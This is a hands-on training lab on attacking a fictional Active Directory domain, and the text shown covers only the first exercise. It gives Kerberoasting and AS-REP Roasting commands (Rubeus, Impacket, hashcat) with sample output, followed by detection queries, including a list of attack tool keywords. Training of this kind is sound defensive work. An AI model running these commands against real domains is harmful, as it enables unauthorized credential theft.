Lab 22: Active Directory Red Team Operations¶
Chapter: 45 — AD Red Teaming Difficulty: ⭐⭐⭐⭐ Advanced Estimated Time: 6–8 hours Prerequisites: Chapter 45, Chapter 33, Chapter 17, familiarity with Windows Active Directory, basic PowerShell
Overview¶
In this lab you will:
- Perform Kerberoasting and AS-REP Roasting attacks to extract service account credentials offline, using Rubeus, Impacket, and hashcat
- Run SharpHound data collection and analyze BloodHound attack paths to identify shortest routes to Domain Admin via ACL-based abuse chains
- Execute DCSync attacks to extract the krbtgt hash and forge Golden Tickets for persistent domain-wide access
- Conduct lateral movement using Pass-the-Hash, overpass-the-hash, and NTLM relay, combined with credential harvesting from LSASS, SAM, and DPAPI
- Build comprehensive KQL and SPL detection queries for every attack technique, implement honey tokens, and deploy defensive hardening
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 1918 (10.0.0.0/8, 192.168.0.0/16) reserved ranges. All domains use *.example.com. All usernames, hashes, tickets, and credentials are completely fictitious — no real credentials are referenced. All hashes shown are example values or REDACTED. This lab is for defensive education only — never use these techniques against systems you do not own or without explicit written authorization.
Scenario¶
Engagement Brief — Meridian Financial Group
Organization: Meridian Financial Group (fictional) Domain: acme.example.com (SYNTHETIC) Forest Root: corp.example.com (SYNTHETIC) Domain Controller 1: DC01.acme.example.com — 10.10.10.10 (SYNTHETIC) Domain Controller 2: DC02.acme.example.com — 10.10.10.11 (SYNTHETIC) Exchange Server: EXCH01.acme.example.com — 10.10.10.20 (SYNTHETIC) File Server: FS01.acme.example.com — 10.10.10.30 (SYNTHETIC) SQL Server: SQL01.acme.example.com — 10.10.10.40 (SYNTHETIC) Workstation Subnet: 192.168.1.0/24 (SYNTHETIC) Server Subnet: 10.10.10.0/24 (SYNTHETIC) Engagement Type: Active Directory red team assessment — full kill chain Scope: All domain-joined systems, AD objects, Kerberos infrastructure, trust relationships Out of Scope: Physical security, social engineering against real employees, internet-facing perimeter Test Window: 2026-03-24 08:00 – 2026-03-28 20:00 UTC Emergency Contact: soc@meridian.example.com (SYNTHETIC)
Summary: Meridian Financial Group operates a single-forest Active Directory environment supporting 2,500 users across finance, HR, engineering, and IT operations. Following a threat intelligence report indicating increased targeting of financial institutions via Kerberos-based attacks, the CISO has authorized a full red team assessment of the AD infrastructure. Your mission is to simulate a realistic adversary — from initial foothold through domain compromise — then provide detection engineering and hardening recommendations for every technique employed.
Certification Relevance¶
Certification Mapping
This lab maps to objectives in the following certifications:
| Certification | Relevant Domains |
|---|---|
| OSCP (Offensive Security Certified Professional) | Active Directory Attacks (25%), Lateral Movement, Post-Exploitation |
| OSEP (Offensive Security Experienced Pentester) | Advanced AD Exploitation, Kerberos Attacks, Evasion |
| CRTO (Certified Red Team Operator) | Active Directory Enumeration, Lateral Movement, Persistence |
| CompTIA PenTest+ (PT0-003) | Domain 3: Attacks and Exploits (30%), Domain 4: Reporting |
| CompTIA CySA+ (CS0-003) | Domain 1: Security Operations (33%), Domain 2: Vulnerability Management |
| GPEN (GIAC Penetration Tester) | Active Directory Attacks, Password Attacks, Lateral Movement |
| SC-200 (Microsoft Security Operations Analyst) | KQL Detection, Sentinel Analytics Rules, Incident Investigation |
Prerequisites¶
Required Tools¶
| Tool | Purpose | Version |
|---|---|---|
| Rubeus | Kerberos abuse toolkit (.NET) | 2.3+ |
| Impacket | Python AD attack toolkit | 0.12+ |
| BloodHound | AD attack path visualization | 4.3+ / CE |
| SharpHound | BloodHound data collector | 2.3+ |
| Mimikatz | Credential extraction toolkit | 2.2.0+ |
| hashcat | GPU-accelerated password cracking | 6.2+ |
| CrackMapExec / NetExec | AD network attack swiss-army knife | 5.4+ / 1.1+ |
| PowerView | AD enumeration PowerShell module | 3.0 (dev) |
| Responder | LLMNR/NBT-NS/mDNS poisoner | 3.1+ |
| ntlmrelayx | NTLM relay attack tool (Impacket) | 0.12+ |
| PowerShell | Scripting and enumeration | 5.1+ |
| ldapsearch | LDAP enumeration | Latest |
Test Accounts (Synthetic)¶
| Role | Username | Password/Hash | Notes |
|---|---|---|---|
| Initial Foothold | acme\testuser | REDACTED | Standard domain user — initial access |
| IT Help Desk | acme\jsmith | REDACTED | Member of Help Desk group, password reset rights |
| SQL Service Account | acme\svc_sql | REDACTED | SPN registered, Kerberoastable |
| Backup Service Account | acme\svc_backup | REDACTED | SPN registered, member of Backup Operators |
| Web Service Account | acme\svc_web | REDACTED | No Kerberos pre-auth required (AS-REP roastable) |
| Exchange Service | acme\svc_exchange | REDACTED | Exchange Trusted Subsystem |
| Domain Admin | acme\admin_da | REDACTED | Domain Admins group member |
| Honey Token | acme\svc_honeypot | REDACTED | Decoy account — alerts on any authentication |
Lab Environment Setup¶
# Lab Environment — Build with Vagrant or manual VMs (SYNTHETIC)
# This lab requires an Active Directory domain lab. Use one of:
# - GOAD (Game of Active Directory): https://github.com/Orange-Cyberdefense/GOAD
# - DetectionLab: https://github.com/clong/DetectionLab
# - Ludus: https://docs.ludus.cloud/
# Verify domain connectivity from attack workstation (SYNTHETIC)
$ ping DC01.acme.example.com
PING DC01.acme.example.com (10.10.10.10) 56(84) bytes of data.
64 bytes from 10.10.10.10: icmp_seq=1 ttl=128 time=1.23 ms
64 bytes from 10.10.10.10: icmp_seq=2 ttl=128 time=0.98 ms
# Verify DNS resolution
$ nslookup acme.example.com
Server: 10.10.10.10
Address: 10.10.10.10#53
Name: acme.example.com
Address: 10.10.10.10
# Verify LDAP connectivity
$ ldapsearch -x -H ldap://10.10.10.10 -b "DC=acme,DC=example,DC=com" \
-D "testuser@acme.example.com" -w 'REDACTED' "(objectClass=domain)" dn
dn: DC=acme,DC=example,DC=com
# Verify Kerberos connectivity
$ kinit testuser@ACME.EXAMPLE.COM
Password for testuser@ACME.EXAMPLE.COM: REDACTED
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: testuser@ACME.EXAMPLE.COM
Valid starting Expires Service principal
03/24/2026 08:00:00 03/24/2026 18:00:00 krbtgt/ACME.EXAMPLE.COM@ACME.EXAMPLE.COM
renew until 03/31/2026 08:00:00
# Verify Impacket is installed
$ python3 -m pip show impacket
Name: impacket
Version: 0.12.0
Summary: Network protocols Constructors and Dissectors
Location: /usr/local/lib/python3.11/dist-packages
# Verify hashcat is available
$ hashcat --version
v6.2.6
Lab Architecture (Synthetic)¶
┌──────────────────────────────────────────────────────────────────────────────────┐
│ Meridian Financial Group — Active Directory Architecture │
│ │
│ ┌────────────────────────────────────────────────────────────────────────────┐ │
│ │ corp.example.com (Forest Root) │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────────────────────┐ │ │
│ │ │ acme.example.com (Child Domain) │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ │ │ │
│ │ │ │ DC01 │ │ DC02 │ │ EXCH01 │ │ │ │
│ │ │ │ 10.10.10.10 │ │ 10.10.10.11 │ │ 10.10.10.20 │ │ │ │
│ │ │ │ PDC Emulator │ │ Backup DC │ │ Exchange 2019 │ │ │ │
│ │ │ │ DNS Server │ │ DNS Server │ │ Mail & Calendaring │ │ │ │
│ │ │ └──────────────┘ └──────────────┘ └──────────────────────┘ │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ │ │ │
│ │ │ │ FS01 │ │ SQL01 │ │ WEB01 │ │ │ │
│ │ │ │ 10.10.10.30 │ │ 10.10.10.40 │ │ 10.10.10.50 │ │ │ │
│ │ │ │ File Server │ │ SQL Server │ │ IIS Web App │ │ │ │
│ │ │ │ DFS/SYSVOL │ │ 2019 │ │ Intranet Portal │ │ │ │
│ │ │ └──────────────┘ └──────────────┘ └──────────────────────┘ │ │ │
│ │ │ │ │ │
│ │ │ ┌────────────────────────────────────────────────────────────┐ │ │ │
│ │ │ │ Workstation Subnet — 192.168.1.0/24 │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ WS01 (.101) WS02 (.102) WS03 (.103) WS04 (.104) │ │ │ │
│ │ │ │ testuser jsmith analyst1 admin_da (RDP) │ │ │ │
│ │ │ └────────────────────────────────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────────────────────────┘ │ │
│ └────────────────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────┐ ┌──────────────────────────────────────────────┐ │
│ │ Attacker Workstation │ │ Security Monitoring │ │
│ │ 192.168.1.200 │ │ SIEM: 10.10.10.60 (Sentinel / Splunk) │ │
│ │ Kali / Commando VM │ │ Sysmon on all endpoints │ │
│ │ Impacket / Rubeus │ │ Windows Event Forwarding (WEF) │ │
│ └─────────────────────┘ └──────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────────────────────┘
Key AD Objects (Synthetic)¶
Forest: corp.example.com
└── Domain: acme.example.com
├── OU=Users
│ ├── CN=Test User (testuser) — Standard User
│ ├── CN=John Smith (jsmith) — Help Desk, GenericAll on OU=Users
│ ├── CN=Analyst One (analyst1) — SOC Analyst
│ └── CN=Admin DA (admin_da) — Domain Admins
├── OU=Service Accounts
│ ├── CN=SQL Service (svc_sql) — SPN: MSSQLSvc/SQL01.acme.example.com:1433
│ ├── CN=Backup Service (svc_backup) — SPN: cifs/FS01.acme.example.com
│ ├── CN=Web Service (svc_web) — DONT_REQ_PREAUTH flag set
│ ├── CN=Exchange Service (svc_exchange) — Exchange Trusted Subsystem
│ └── CN=Honeypot Service (svc_honeypot) — Decoy account (monitoring)
├── OU=Groups
│ ├── CN=Domain Admins — admin_da
│ ├── CN=Help Desk — jsmith (GenericAll on OU=Users)
│ ├── CN=Backup Operators — svc_backup
│ ├── CN=SQL Admins — svc_sql
│ └── CN=IT Operations — jsmith, analyst1
├── OU=Servers
│ ├── CN=DC01 — Domain Controller
│ ├── CN=DC02 — Domain Controller
│ ├── CN=SQL01 — SQL Server
│ ├── CN=FS01 — File Server
│ ├── CN=EXCH01 — Exchange Server
│ └── CN=WEB01 — Web Server
└── OU=Workstations
├── CN=WS01 — testuser
├── CN=WS02 — jsmith
├── CN=WS03 — analyst1
└── CN=WS04 — admin_da (RDP sessions)
Deliberately Configured Misconfigurations (Synthetic)¶
Lab Misconfigurations — Intentionally Insecure
The following misconfigurations are intentionally configured in this lab environment to simulate real-world weaknesses. These are common findings in Active Directory assessments:
| # | Misconfiguration | Impact | Affected Object |
|---|---|---|---|
| 1 | Service accounts with weak passwords | Kerberoasting yields plaintext credentials | svc_sql, svc_backup |
| 2 | Kerberos pre-authentication disabled | AS-REP Roasting attack possible | svc_web |
| 3 | Excessive ACL permissions (GenericAll) | Privilege escalation via ACL abuse | jsmith → OU=Users |
| 4 | WriteDACL on Domain object | Can grant DCSync rights | svc_exchange group membership |
| 5 | Unconstrained delegation | Credential theft via delegation abuse | FS01 server |
| 6 | No Protected Users group usage | Credential caching, NTLM exposure | All privileged accounts |
| 7 | No LAPS deployment | Local admin password reuse | All workstations |
| 8 | WDigest authentication enabled | Plaintext passwords in LSASS | Legacy GPO setting |
| 9 | SMB signing not required | NTLM relay attacks possible | Workstation subnet |
| 10 | No Credential Guard | LSASS dumping trivial | All workstations |
Exercise 1: Kerberoasting & AS-REP Roasting¶
Objective¶
Enumerate Service Principal Names (SPNs) in the Active Directory environment, request Kerberos TGS tickets for service accounts, and attempt offline password cracking. Additionally, identify accounts with Kerberos pre-authentication disabled and perform AS-REP Roasting. This exercise demonstrates why service account password hygiene and Kerberos configuration are critical.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Tactic |
|---|---|---|
| T1558.003 | Kerberoasting | Credential Access |
| T1558.004 | AS-REP Roasting | Credential Access |
| T1087.002 | Domain Account Discovery | Discovery |
Prerequisites¶
- Domain-joined workstation or authenticated LDAP session
- Valid domain credentials (any authenticated user —
testuseris sufficient) - Tools: Rubeus, Impacket (GetUserSPNs, GetNPUsers), hashcat
Step 1.1: SPN Enumeration with PowerShell¶
Any authenticated domain user can enumerate SPNs. This is not an attack — it is a normal Active Directory query that any user can perform.
# Enumerate all Service Principal Names in the domain (SYNTHETIC)
# This uses built-in Active Directory PowerShell — no tools required
PS C:\> setspn -T acme.example.com -Q */*
Checking domain DC=acme,DC=example,DC=com
CN=DC01,OU=Domain Controllers,DC=acme,DC=example,DC=com
ldap/DC01.acme.example.com/acme.example.com
HOST/DC01.acme.example.com
ldap/DC01.acme.example.com
GC/DC01.acme.example.com/corp.example.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/a1b2c3d4-e5f6-7890-abcd-ef1234567890/acme.example.com
CN=DC02,OU=Domain Controllers,DC=acme,DC=example,DC=com
ldap/DC02.acme.example.com/acme.example.com
HOST/DC02.acme.example.com
ldap/DC02.acme.example.com
CN=SQL Service,OU=Service Accounts,DC=acme,DC=example,DC=com
MSSQLSvc/SQL01.acme.example.com:1433
MSSQLSvc/SQL01.acme.example.com
CN=Backup Service,OU=Service Accounts,DC=acme,DC=example,DC=com
cifs/FS01.acme.example.com
CN=Exchange Service,OU=Service Accounts,DC=acme,DC=example,DC=com
exchangeMDB/EXCH01.acme.example.com
exchangeRFR/EXCH01.acme.example.com
exchangeAB/EXCH01.acme.example.com
CN=Web Service,OU=Service Accounts,DC=acme,DC=example,DC=com
HTTP/WEB01.acme.example.com
Existing SPN found!
# Alternative: Use PowerView for more detailed SPN enumeration (SYNTHETIC)
PS C:\> Import-Module .\PowerView.ps1
PS C:\> Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description, memberof, pwdlastset
samaccountname serviceprincipalname description memberof pwdlastset
-------------- -------------------- ----------- -------- ----------
svc_sql {MSSQLSvc/SQL01.acme.example.com:1433, SQL Service Account CN=SQL Admins,OU=Groups,DC=acme,DC=... 01/15/2024
MSSQLSvc/SQL01.acme.example.com}
svc_backup {cifs/FS01.acme.example.com} Backup Service CN=Backup Operators,CN=Builtin,DC=... 03/22/2023
svc_exchange {exchangeMDB/EXCH01.acme.example.com, Exchange Service CN=Exchange Trusted Subsystem,... 06/10/2025
exchangeRFR/EXCH01.acme.example.com,
exchangeAB/EXCH01.acme.example.com}
svc_web {HTTP/WEB01.acme.example.com} Web Application Svc CN=IT Operations,OU=Groups,DC=... 08/05/2024
Key Observation
Notice the pwdlastset values. svc_backup has not changed its password since March 2023 — over 3 years. Service accounts with stale passwords are prime Kerberoasting targets because organizations often set weak, long-lived passwords on them.
Step 1.2: Kerberoasting with Rubeus¶
Rubeus is a C# tool for Kerberos interaction and abuse. It can request TGS tickets for any SPN and output them in hashcat-compatible format.
# Kerberoast all service accounts with Rubeus (SYNTHETIC)
PS C:\> .\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt /format:hashcat
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.0
[*] Action: Kerberoasting
[*] NOTICE: AES://256 encryption is enabled for the following accounts:
[*] svc_exchange — AES256 key will be requested
[*] Searching the current domain for Kerberoastable users...
[*] Total Kerberoastable users: 4
[*] SamAccountName : svc_sql
[*] DistinguishedName : CN=SQL Service,OU=Service Accounts,DC=acme,DC=example,DC=com
[*] ServicePrincipalName : MSSQLSvc/SQL01.acme.example.com:1433
[*] PwdLastSet : 01/15/2024 09:32:14 AM
[*] Supported ETypes : RC4_HMAC_MD5
[*] Hash written to : kerberoast_hashes.txt
[*] SamAccountName : svc_backup
[*] DistinguishedName : CN=Backup Service,OU=Service Accounts,DC=acme,DC=example,DC=com
[*] ServicePrincipalName : cifs/FS01.acme.example.com
[*] PwdLastSet : 03/22/2023 02:15:47 PM
[*] Supported ETypes : RC4_HMAC_MD5
[*] Hash written to : kerberoast_hashes.txt
[*] SamAccountName : svc_exchange
[*] DistinguishedName : CN=Exchange Service,OU=Service Accounts,DC=acme,DC=example,DC=com
[*] ServicePrincipalName : exchangeMDB/EXCH01.acme.example.com
[*] PwdLastSet : 06/10/2025 11:22:03 AM
[*] Supported ETypes : RC4_HMAC_MD5, AES128_CTS_HMAC_SHA1, AES256_CTS_HMAC_SHA1
[*] Hash written to : kerberoast_hashes.txt
[*] SamAccountName : svc_web
[*] DistinguishedName : CN=Web Service,OU=Service Accounts,DC=acme,DC=example,DC=com
[*] ServicePrincipalName : HTTP/WEB01.acme.example.com
[*] PwdLastSet : 08/05/2024 03:44:59 PM
[*] Supported ETypes : RC4_HMAC_MD5
[*] Hash written to : kerberoast_hashes.txt
[*] Roasted 4 accounts successfully
# View the extracted TGS hashes (SYNTHETIC — example hashes, not real)
PS C:\> type kerberoast_hashes.txt
$krb5tgs$23$*svc_sql$ACME.EXAMPLE.COM$MSSQLSvc/SQL01.acme.example.com:1433*$a1b2c3d4e5f6a1b2c3d4e5f6$REDACTED_HASH_DATA_0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef...
$krb5tgs$23$*svc_backup$ACME.EXAMPLE.COM$cifs/FS01.acme.example.com*$f6e5d4c3b2a1f6e5d4c3b2a1$REDACTED_HASH_DATA_fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210...
$krb5tgs$23$*svc_exchange$ACME.EXAMPLE.COM$exchangeMDB/EXCH01.acme.example.com*$1234abcd5678efab1234abcd$REDACTED_HASH_DATA_abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789...
$krb5tgs$23$*svc_web$ACME.EXAMPLE.COM$HTTP/WEB01.acme.example.com*$abcdef1234567890abcdef12$REDACTED_HASH_DATA_1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890...
Step 1.3: Kerberoasting with Impacket (Linux)¶
# Kerberoast using Impacket's GetUserSPNs from Linux (SYNTHETIC)
$ python3 /usr/share/impacket/GetUserSPNs.py \
acme.example.com/testuser:REDACTED \
-dc-ip 10.10.10.10 \
-request \
-outputfile kerberoast_impacket.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------------------------ ------------- --------------------------------------------------- -------------------------- -------------------------- ----------
MSSQLSvc/SQL01.acme.example.com:1433 svc_sql CN=SQL Admins,OU=Groups,DC=acme,DC=example,DC=com 2024-01-15 09:32:14.000000 2026-03-24 07:15:22.000000
cifs/FS01.acme.example.com svc_backup CN=Backup Operators,CN=Builtin,DC=acme,DC=... 2023-03-22 14:15:47.000000 2026-03-24 02:00:01.000000
exchangeMDB/EXCH01.acme.example.com svc_exchange CN=Exchange Trusted Subsystem,OU=... 2025-06-10 11:22:03.000000 2026-03-24 08:01:15.000000
HTTP/WEB01.acme.example.com svc_web CN=IT Operations,OU=Groups,DC=acme,DC=... 2024-08-05 15:44:59.000000 2026-03-23 22:30:08.000000
[-] Total of 4 service account(s) found
[*] Requesting TGS tickets...
[*] svc_sql — RC4_HMAC
[*] svc_backup — RC4_HMAC
[*] svc_exchange — AES256_CTS_HMAC_SHA1 (downgrade to RC4 not possible)
[*] svc_web — RC4_HMAC
[*] Saved 4 hashes to kerberoast_impacket.txt
Step 1.4: AS-REP Roasting¶
AS-REP Roasting targets accounts with the DONT_REQ_PREAUTH flag set. When Kerberos pre-authentication is disabled, anyone can request an AS-REP for that account — no password needed — and crack the response offline.
# Enumerate accounts without pre-authentication using PowerView (SYNTHETIC)
PS C:\> Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, distinguishedname, useraccountcontrol
samaccountname distinguishedname useraccountcontrol
-------------- ----------------- ------------------
svc_web CN=Web Service,OU=Service Accounts,DC=acme,DC=example,DC=com NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH
# AS-REP Roast with Rubeus (SYNTHETIC)
PS C:\> .\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.0
[*] Action: AS-REP Roasting
[*] Target Domain : acme.example.com
[*] Searching for accounts without pre-authentication...
[*] Found 1 account(s) without pre-authentication:
[*] SamAccountName : svc_web
[*] DistinguishedName : CN=Web Service,OU=Service Accounts,DC=acme,DC=example,DC=com
[*] Using domain controller: DC01.acme.example.com (10.10.10.10)
[*] Building AS-REQ (w/o preauth) for: 'acme.example.com\svc_web'
[+] AS-REP hash:
$krb5asrep$23$svc_web@ACME.EXAMPLE.COM:REDACTED_ASREP_HASH_0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef...
[*] Hash written to asrep_hashes.txt
# AS-REP Roast using Impacket from Linux (SYNTHETIC)
# Note: GetNPUsers does NOT require valid credentials — only a user list
$ python3 /usr/share/impacket/GetNPUsers.py \
acme.example.com/ \
-dc-ip 10.10.10.10 \
-usersfile users.txt \
-format hashcat \
-outputfile asrep_impacket.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User testuser doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] User svc_web doesn't require Kerberos pre-authentication
$krb5asrep$23$svc_web@ACME.EXAMPLE.COM:REDACTED_ASREP_HASH...
[-] User svc_exchange doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User admin_da doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Saved 1 AS-REP hash(es) to asrep_impacket.txt
Step 1.5: Offline Password Cracking with hashcat¶
# Crack Kerberoast TGS hashes (hashcat mode 13100) (SYNTHETIC)
$ hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules /usr/share/hashcat/rules/best64.rule \
--force
hashcat (v6.2.6) starting...
OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation]
=========================================================================
* Device #1: NVIDIA GeForce RTX 4090, 24224/24564 MB, 128MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 4 digests; 4 unique digests, 4 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Host memory required for this attack: 1024 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 919315740
$krb5tgs$23$*svc_sql$ACME.EXAMPLE.COM$MSSQLSvc/SQL01*$...:REDACTED
$krb5tgs$23$*svc_backup$ACME.EXAMPLE.COM$cifs/FS01*$...:REDACTED
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: kerberoast_hashes.txt
Time.Started.....: Mon Mar 24 08:15:32 2026
Time.Estimated...: Mon Mar 24 08:17:48 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule)
Speed.#1.........: 1245.8 MH/s (7.32ms) @ Accel:64 Loops:77 Thr:512 Vec:1
Recovered........: 2/4 (50.00%) Digests, 2/4 (50.00%) Salts
Progress.........: 919315740/919315740 (100.00%)
[*] Cracked: svc_sql — password is REDACTED (weak service account password)
[*] Cracked: svc_backup — password is REDACTED (weak service account password)
[*] Not cracked: svc_exchange — strong password (AES256 + complex)
[*] Not cracked: svc_web — TGS not crackable with this wordlist (see AS-REP below)
# Crack AS-REP hash (hashcat mode 18200) (SYNTHETIC)
$ hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules /usr/share/hashcat/rules/best64.rule \
--force
hashcat (v6.2.6) starting...
$krb5asrep$23$svc_web@ACME.EXAMPLE.COM:...:REDACTED
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests
[*] Cracked: svc_web — password is REDACTED (weak password, no pre-auth)
Step 1.6: Understanding the Impact¶
┌───────────────────────────────────────────────────────────────────────┐
│ Kerberoasting / AS-REP Roasting Results │
│ │
│ Account Attack Result Access Gained │
│ ───────────── ────────────── ───────── ───────────────────────── │
│ svc_sql Kerberoasting CRACKED SQL Server admin access │
│ svc_backup Kerberoasting CRACKED Backup Operators group │
│ svc_exchange Kerberoasting NOT CRACKED AES256 + strong password │
│ svc_web AS-REP Roast CRACKED Web app service account │
│ │
│ Impact: 3 of 4 service accounts compromised via offline attacks │
│ No authentication failures generated (offline cracking) │
│ No account lockouts triggered │
│ No network traffic to detect (post TGS/AS-REP request) │
└───────────────────────────────────────────────────────────────────────┘
Detection Queries — Kerberoasting & AS-REP Roasting¶
KQL — Microsoft Sentinel:
// KQL: Detect Kerberoasting — excessive TGS requests for RC4 encryption
// Event ID 4769: A Kerberos service ticket was requested
SecurityEvent
| where EventID == 4769
| where TimeGenerated > ago(1h)
| extend TicketEncryptionType = tostring(EventData.TicketEncryptionType)
| extend ServiceName = tostring(EventData.ServiceName)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend ClientAddress = tostring(EventData.IpAddress)
| where TicketEncryptionType == "0x17" // RC4_HMAC_MD5 — downgrade indicator
| where ServiceName !startswith "krbtgt" // Exclude normal TGT renewals
| where ServiceName !endswith "$" // Exclude machine accounts
| summarize DistinctSPNs = dcount(ServiceName),
SPNList = make_set(ServiceName, 20),
RequestCount = count()
by TargetUserName, ClientAddress, bin(TimeGenerated, 5m)
| where DistinctSPNs >= 3 // Threshold: 3+ distinct SPNs in 5 minutes
| extend AlertSeverity = case(
DistinctSPNs >= 10, "High",
DistinctSPNs >= 5, "Medium",
"Low"
)
| project TimeGenerated, TargetUserName, ClientAddress, DistinctSPNs,
RequestCount, SPNList, AlertSeverity
| sort by DistinctSPNs desc
// KQL: Detect AS-REP Roasting — pre-authentication failures
// Event ID 4768: A Kerberos authentication ticket (TGT) was requested
SecurityEvent
| where EventID == 4768
| where TimeGenerated > ago(1h)
| extend ResultCode = tostring(EventData.Status)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend ClientAddress = tostring(EventData.IpAddress)
| extend TicketEncryptionType = tostring(EventData.TicketEncryptionType)
| where TicketEncryptionType == "0x17" // RC4 downgrade
| where ResultCode == "0x0" // Successful — pre-auth was not required
| summarize DistinctUsers = dcount(TargetUserName),
UserList = make_set(TargetUserName, 20),
RequestCount = count()
by ClientAddress, bin(TimeGenerated, 10m)
| where DistinctUsers >= 3 // Multiple users AS-REP roasted from same source
| project TimeGenerated, ClientAddress, DistinctUsers, UserList, RequestCount
| sort by DistinctUsers desc
// KQL: Detect Kerberoasting via Sysmon — Rubeus process execution
SecurityEvent
| where EventID == 1 // Sysmon Process Creation
| where TimeGenerated > ago(24h)
| extend CommandLine = tostring(EventData.CommandLine)
| extend ParentProcess = tostring(EventData.ParentImage)
| where CommandLine has_any ("kerberoast", "asreproast", "GetUserSPNs",
"GetNPUsers", "Invoke-Kerberoast",
"Request-SPNTicket")
| project TimeGenerated, Computer, Account, CommandLine, ParentProcess
| sort by TimeGenerated desc
SPL — Splunk:
// SPL: Detect Kerberoasting — RC4 TGS requests from single source
index=wineventlog EventCode=4769
| where Ticket_Encryption_Type="0x17"
| where Service_Name!="krbtgt*"
| where Service_Name!="*$"
| bin _time span=5m
| stats dc(Service_Name) as distinct_spns,
values(Service_Name) as spn_list,
count as request_count
by Account_Name, Client_Address, _time
| where distinct_spns >= 3
| eval severity=case(
distinct_spns >= 10, "HIGH",
distinct_spns >= 5, "MEDIUM",
1=1, "LOW"
)
| sort -distinct_spns
| rename Account_Name as "Source User",
Client_Address as "Source IP",
distinct_spns as "Unique SPNs Requested",
spn_list as "SPNs",
request_count as "Total Requests",
severity as "Severity"
// SPL: Detect AS-REP Roasting attempts
index=wineventlog EventCode=4768
| where Ticket_Encryption_Type="0x17"
| where Status="0x0"
| bin _time span=10m
| stats dc(Account_Name) as distinct_users,
values(Account_Name) as user_list,
count as request_count
by Client_Address, _time
| where distinct_users >= 3
| sort -distinct_users
| rename Client_Address as "Source IP",
distinct_users as "Unique Users Targeted",
user_list as "Users",
request_count as "Total Requests"
// SPL: Correlate Kerberoasting with subsequent authentication
// Detects when a Kerberoasted account is used shortly after
index=wineventlog EventCode=4769 Ticket_Encryption_Type="0x17"
Service_Name!="krbtgt*" Service_Name!="*$"
| stats earliest(_time) as kerberoast_time, values(Client_Address) as roast_source by Service_Name
| join type=inner Service_Name
[ search index=wineventlog EventCode=4624 Logon_Type IN (3, 10)
| rename Account_Name as Service_Name
| stats earliest(_time) as auth_time, values(Source_Network_Address) as auth_source by Service_Name ]
| where auth_time > kerberoast_time AND auth_time < kerberoast_time + 86400
| eval time_delta_hours = round((auth_time - kerberoast_time) / 3600, 2)
| table Service_Name, kerberoast_time, roast_source, auth_time, auth_source, time_delta_hours
| sort time_delta_hours
Key Takeaways — Exercise 1¶
Kerberoasting & AS-REP Roasting Principles
- Any authenticated user can Kerberoast — This is not a vulnerability in Kerberos; it is a design feature. The vulnerability is weak service account passwords.
- Offline cracking generates zero authentication events — After the TGS request, all cracking happens offline. You cannot detect the cracking itself, only the request.
- RC4 encryption is the weakness — TGS tickets encrypted with RC4_HMAC_MD5 (etype 23) are significantly faster to crack than AES256.
